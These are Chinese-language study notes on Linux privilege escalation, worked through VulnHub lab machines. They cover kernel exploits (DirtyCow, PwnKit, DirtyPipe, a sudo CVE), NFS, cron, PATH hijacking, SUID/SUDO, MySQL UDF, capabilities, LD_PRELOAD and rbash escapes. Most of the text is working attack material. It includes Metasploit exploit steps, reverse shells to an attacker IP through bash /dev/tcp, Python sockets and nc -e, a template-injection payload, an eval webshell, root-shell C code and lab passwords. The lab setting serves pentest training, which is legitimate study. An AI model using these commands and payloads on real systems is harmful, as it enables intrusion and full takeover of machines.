linux权限提升

Linux

信息收集

当前主机的操作系统

hostnamectl

cat /etc/*-release

lsb_release -a

cat /etc/lsb-release # Debain

cat /etc/redhat-release # Redhat

cat /etc/centos-release # Centos

cat /etc/os-release # Ubuntu

cat /etc/issue

当前主机的内核版本

hostnamectl

uname -a

cat /proc/version

dmesg | grep “Linux version”

内核漏洞筛选:

下面的msf测试均在kali中进行

MSF检测:

run post/multi/recon/local_exploit_suggester

提权脚本:

筛选可能存在提权漏洞的信息,主要是内核漏洞提权

https://github.com/liamg/traitor

https://github.com/The-Z-Labs/linux-exploit-suggester

https://github.com/jondonas/linux-exploit-suggester-2

https://github.com/belane/linux-soft-exploit-suggester

综合脚本:

包含一些其他CVE,但内核漏洞提权效果不如上面

https://github.com/carlospolop/PEASS-ng

https://github.com/diego-treitos/linux-smart-enumeration

https://github.com/redcode-labs/Bashark

https://github.com/rebootuser/LinEnum

web-linux应用场景:

获取到Web权限在Linux服务器上时进行的内核漏洞提权

常见内核漏洞案例:

dirtycow(CVE-2016-5159)

Pwnkit (CVE-2021-4034)

Dirty Pipe(CVE-2022-0847)

SUDO (CVE-2021-3156)

大脏牛 (CVE-2017–1000405)

CVE-2017-16995

CVE-2021-3560

CVE-2023-1829

CVE-2022-2588

CVE-2021-3493

CVE-2022-32250

CVE-2023-3269

CVE-2022-0995

CVE-2022-2639

CVE-2023-0386

Web&内核溢出-Dcow

复现环境:https://www.vulnhub.com/entry/lampiao-1,249/

1、信息收集:

//全端口扫描

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用://msf

search drupal

use exploit/unix/webapp/drupal_drupalgeddon2

set rhost 192.168.46.144

set rport 1898

run

3、内核提权:

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

https://github.com/gbonacini/CVE-2016-5195

upload /root/dcow.cpp /tmp/dcow.cpp

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil /有可能编译不了,如果目标机器上不能变异就在攻击机编译完,直接从攻击机上传编译完的

python -c ‘import pty; pty.spawn(“/bin/bash”)’

./dcow

su root

该漏洞只能利用一次,做完需要还原

Web&内核溢出-Pwnkit

复现环境:https://www.vulnhub.com/entry/darkhole-1,724/

入口点是该网站修改用户名抓取id可以修改,后登录发现上传文件可以通过.phtml绕过,拿到webshell

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用:

重置管理密码-上传1.phtml-反弹MSF,哥斯拉里面PMeterpreter模块可以反弹到msf上

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

3、内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh

search cve_2021_4034

use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

set session x

run

getuid

shell

cd /root

cat root.txt

Web&内核溢出-DirtyPipe

https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/

1、信息收集:

nmap -p1-65535 192.168.139.0/24

2、Web漏洞利用

扫描发现-抓包分析-文件写入-反弹MSF

gobuster dir -u http://192.168.139.146 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

扫到一个php文件为漏洞入口,可以上传一句话木马拿到webshell,下面为抓包的流量,可以看到post传入的时候也会明文显示文件名

message=&file=xd.php

哥斯拉webshell连上去接着用PMeterpreter模块打msf

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 0.0.0.0

set lport 6666

run

3、内核提权

upload /root/linux-exploit-suggester.sh /tmp/1.sh

shell

cd /tmp

chmod +x 1.sh

./1.sh //执行完发现有cve_2022_0847可以利用

search cve_2022_0847

use exploit/linux/local/cve_2022_0847_dirtypipe

set session x

set lhost xx.xx.xx.xx

run

补充

CVE-2023-0386

https://mp.weixin.qq.com/s/Z6sVuMrYMZV8WD6z1-U95Q

Web&用户-NFS安全

NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。

https://www.virtualbox.org/wiki/Downloads

https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

提升条件:NFS服务开启和web或用户权限进行利用

1、信息收集:

nmap 192.168.1.6

http://192.168.1.6/file.php?file=/etc/passwd

2、NFS服务利用

showmount -e 192.168.1.6 链接

mkdir nfs

mount -t nfs 192.168.1.6:/mnt/nfs ./nfs 把攻击机的nfs和目标机器的/mnt/nfs同步,注意如果上传马要给权限

chmod 777 shell.php

3、配合SUID提权

注意gcc编译机器与目标机内核版本相似

直接cp复制机器上的suid文件也可以,改名再上传

#include<stdlib.h>

#include<unistd.h>

int main()

{

setuid(0);

system(“id”);

system(“/bin/bash”);

}

gcc getroot.c -o getroot

cp getroot /root/nfs #复制bash到挂载目录下

chmod +s getroot #赋予suid权限

find / -perm -u=s -type f 2>/dev/null 再看看是否加入

cd /mnt/nfs # 目标机

./getroot # 目标机

Web&用户-Cron任务

https://www.vulnhub.com/entry/jarbas-1,232/

提升条件:Web或用户权限进行查看,任务文件可修改

1、信息收集:

http://192.168.139.152/access.html

2、权限获取:

http://192.168.139.152:8080/

Jenkins创建任务,添加反弹,立即构建

这边添加的反弹可能是web用户或者普通用户权限

3、权限提升:

cat /etc/crontab

cat /etc/script/CleaningScript.sh #查看脚本内容

ls -lia /etc/script/CleaningScript.sh #查看对任务文件的权限

echo “/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1” >> /etc/script/CleaningScript.sh

Linux系统提权-Web&用户-PATH变量

https://www.vulnhub.com/entry/symfonos-1,322/

提升条件:存在SUID的应用中能可逆向出执行命令,加用户权限

目标开放445端口,判断有smb服务

1、信息收集:

smbclient -L 192.168.139.153

2、权限获取:

smbclient //192.168.139.153/anonymous

get attention.txt

smbclient //192.168.139.153/helios -U helios

helios \ qwerty

3、漏洞利用//从上面可以得到一个wordpress网站 wpscan kali自带

wpscan –url http://192.168.139.153/h3l105/ –plugins-detection aggressive

searchsploit mail masta 1.0 //kali自带漏洞库

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

telnet 192.168.139.153 25

MAIL FROM: MALABIS

RCPT TO: helios

data

.

QUIT

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=/bin/bash%20-i%20%3E&%20/dev/tcp/192.168.139.141/6666%200%3E&1

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.139.128”,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

4、权限提升:

/opt/statuscheck里有执行curl

自己的文件自己能修改,所以curl能chmod 777

python -c ‘import pty;pty.spawn(“/bin/bash”)’

find / -perm -u=s -type f 2>/dev/null

strings /opt/statuscheck

cd /tmp

echo “/bin/sh” > curl

chmod 777 curl

export PATH=/tmp:$PATH

echo $PATH

/opt/statuscheck

SUID&SUDO应用场景:

获取到Web权限或普通用户在Linux服务器上时进行的SUID&SUDO提权

SUID (Set owner User ID up on execution)是给予文件的一个特殊类型的文件权限。在Linux/Unix中,当一个程序运行的时候,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。

SUDO权限是root把本来只能超级用户执行的命令赋予普通用户执行,系统管理员集中的管理用户使用权限和使用主机,配置文件:/etc/sudoers,除此配置之外的问题,SUDO还有两个CVE漏洞(CVE-2019-14287 CVE-2021-3156)。

#利用参考:

https://gtfobins.github.io/

这个网站里面可以找一下参考

Web&用户-Suid

1、SUID&GUID

环境:https://www.vulnhub.com/entry/dc-1,292/

命令:SUID GUID

查找suid文件

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

项目:LinEnum PEASS-ng

eg:find . / -exec “whoami”;

/usr/bin/find . -exec ‘/bin/sh’ ;

find / -name 123 -exec ‘/bin/sh’ ;

/usr/bin/sudo find /flag -exec cat /f* ;

2、SUID&SUDO

环境:https://www.vulnhub.com/entry/toppo-1,245/

搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件

SUID:

/usr/bin/python2.7 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.139.141”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

Web&用户-Sudo(cve)//用户是因为git这种项目部署的时候需要普通用户权限支持

1、SUDO

环境:https://www.vulnhub.com/entry/toppo-1,245/

搭建:创建任意虚拟机,然后将toppo.vmdx文件改名并替换原来的vmdx文件

SUDO:

cat /etc/sudoers

/usr/bin/awk ‘BEGIN {system(“/bin/sh”)}’ //利用sudoers里面的awk去新开一个root权限的sh

2、SUDO-CVE

环境:https://www.vulnhub.com/entry/devguru-1,620/

-信息收集:

80,8585

http://192.168.139.150/.git/

http://192.168.139.150/adminer.php

http://192.168.139.150/backend/backend/auth

http://192.168.139.150:8585/

http://192.168.139.150:8585/admin

-git泄漏(利用点)

python GitHack.py http://192.168.139.150/.git/

-访问管理(Web入口):

adminer.php 添加用户名密码 登录后台 模版 写入Shell

function onStart(){

//蚁剑连接

eval($_POST[“pass”]);

}

-找备份寻突破(升权):

/var/backup/app.ini.bak 修改用户密码 登录后台 写入反弹

bash -c “exec bash -i >& /dev/tcp/192.168.139.141/5555 0>&1”

-利用sudo提权(cve):

sudo -l

sudo -u#-1 sqlite3 /dev/null ‘.shell /bin/sh’

git源码泄露 => 找到数据库密码,登入 => 找到cms后台用户密码,改为已知密码 => 登入cms后台,写shell(低权限)

gitea数据库配置备份文件泄露 => 连接gitea数据库,找到gitea的用户密码 => 登入gitea,写shell(更高权限) => 提权。

3、SUDO-CVE

环境:kali2020

sudo: 1.8.2 - 1.8.31p2

sudo: 1.9.0 - 1.9.5p1

-判断:sudoedit -s / 报错存在

-利用:

git clone https://github.com/blasty/CVE-2021-3156.git

cd CVE-2021-3156

make

chmod a+x sudo-hax-me-a-sandwich

./sudo-hax-me-a-sandwich 0

Web&用户-UDF提权//数据库类型

https://www.vulnhub.com/entry/raven-2,269/

1、信息收集:

http://192.168.139.155/vendor/

2、Web权限获取:

searchsploit phpmailer //kali漏洞库查找,查找完之后后面会跟利用文件或者利用方法,40969就是利用脚本

find / -name 40969.py //修改脚本相关的ip地址和后门路径

cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py

python p.py

拿到web权限

3、MYSQL-UDF提权:

前提:需要数据库高权限

-编译UDF.so

searchsploit udf

cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹

gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

python -m http.server 8080 攻击机起一个py服务器让对方去下载

-下载到目标上

python -c ‘import pty; pty.spawn(“/bin/bash”)’

cd tmp

wget http://192.168.139.141:8080/udf.so

-连接进行导出调用

mysql -uroot -pR@v3nSecurity //翻配置文件翻出来的

select version(); #查看mysql版本

select @@basedir; #确认mysql安装位置

show variables like ‘%basedir%’; #确认mysql安装位置

show variables like ‘%secure%’; #查看可导出文件位置。 //看一下secure_file_priv是否关闭,如果开启写入文件后受限制,需要关闭状态

show variables like ‘%plugin%’; #查找插件位置 //一会把udf.so提权文件放到这边

show variables like ‘%compile%’; #查看系统版本

use mysql;

创建xiaodi表

create table xiaodi(line blob);

往xiaodi表中插入二进制的udf.so

insert into xiaodi values(load_file(‘/tmp/udf.so’));

导出udf.so

select * from xiaodi into dumpfile ‘/usr/lib/mysql/plugin/udf.so’; //这里不直接下载到plugin目录下是因为web wget通常只能下载到tmp目录下,其他目录大概率没权限 ,在此之前记得chmod加执行权限

创建do_system自定义函数

create function do_system returns integer soname ‘udf.so’;

select do_system(‘nc 192.168.139.141 6666 -e /bin/bash’);

Web&用户-Capability能力 //理解为SUID升级版

原理参考:https://www.cnblogs.com/f-carey/p/16026088.html

cp /usr/bin/php /tmp/php

设置能力:setcap cap_setuid+ep /tmp/php //让/tmp/php有suid权限

删除能力:setcap -r /tmp/php

查看单个能力:getcap /usr/bin/php

查看所有能力:getcap -r / 2>/dev/null

./tmp/php -r “posix_setuid(0); system(‘/bin/sh’);”

Hacker_Kid

WP参考:https://www.jianshu.com/p/60673ac0454f 里面包含查看能力的解释

环境:https://www.vulnhub.com/entry/hacker-kid-101,719/

web入口点:账号密码

saket

Saket!#$%@!!

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}

http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D

python2.7拥有cap_sys_ptrace权限,意味着他可以调试别的进程

/sbin/getcap -r / 2>/dev/null

python -m http.server 8080

wget http://192.168.139.141:8080/inject.py

for i in ps -ef|grep root|grep -v "grep"|awk '{print $2}'; do python2.7 inject.py $i; done //注入所有root权限进程

nc 192.168.139.156 5600

结论:suid升级版,更细致的权限划分,通过能力有哪些权限设置进行利用

普通用户-LD_Preload加载

//只不过linux中特有的,是程序运行前就把要加载的程序包括了,这个LD_Preload是让程序需要的时候再加载,和dll提权差不多,当sudo提权查找到的是第三方文件的时候适用

参考:https://www.cnblogs.com/backlion/p/10503985.html

修改/etc/sudoers

Defaults env_keep += LD_PRELOAD //允许程序启用

test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find //给test用户在运行find命令时所有的运行权限,不需要输入密码确定

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles //自己写一个加载文件

ls -al shell.so

sudo LD_PRELOAD=/tmp/shell.so find //在sudo运行find是加载写入的加载文件

whoami

Defaults env_keep += LD_PRELOAD

test ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh

sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh

结论:sudo提权有限制,如果sudo里面第三方文件就得二进制分析,难度较大,但是一旦设置了LD_PRELOAD,那么只要有程序既可提权

普通用户-Rbash绕过

会给rbash用户组下面非常低的权限,rbash是linux限制用户权限的技术

参考:https://xz.aliyun.com/t/7642

Rbash(The Restricted mode of bash),也就是限制型bash

在渗透测试中可能遇到rbash,尝试绕过后才能进行后续操作

sudoadduser xiaodisec

sudo usermod -s /bin/rbash xiaodisec

https://www.vulnhub.com/entry/funbox-rookie,520/

1、入口点:

fscan -h 192.168.1.0/24

ftp 192.168.1.8

get tom.zip(iubire)

ssh tom@192.168.1.8 -i id_rsa

2、Rbash绕过:

python -m http.server 8080

wget http://192.168.1.3:8080/LinEnum.sh

awk ‘BEGIN {system(“/bin/bash”)}’ //sudo

3、历史泄漏提权:

./LinEnum.sh

cat /home/tom/.mysql_history

su root(xx11yy22!)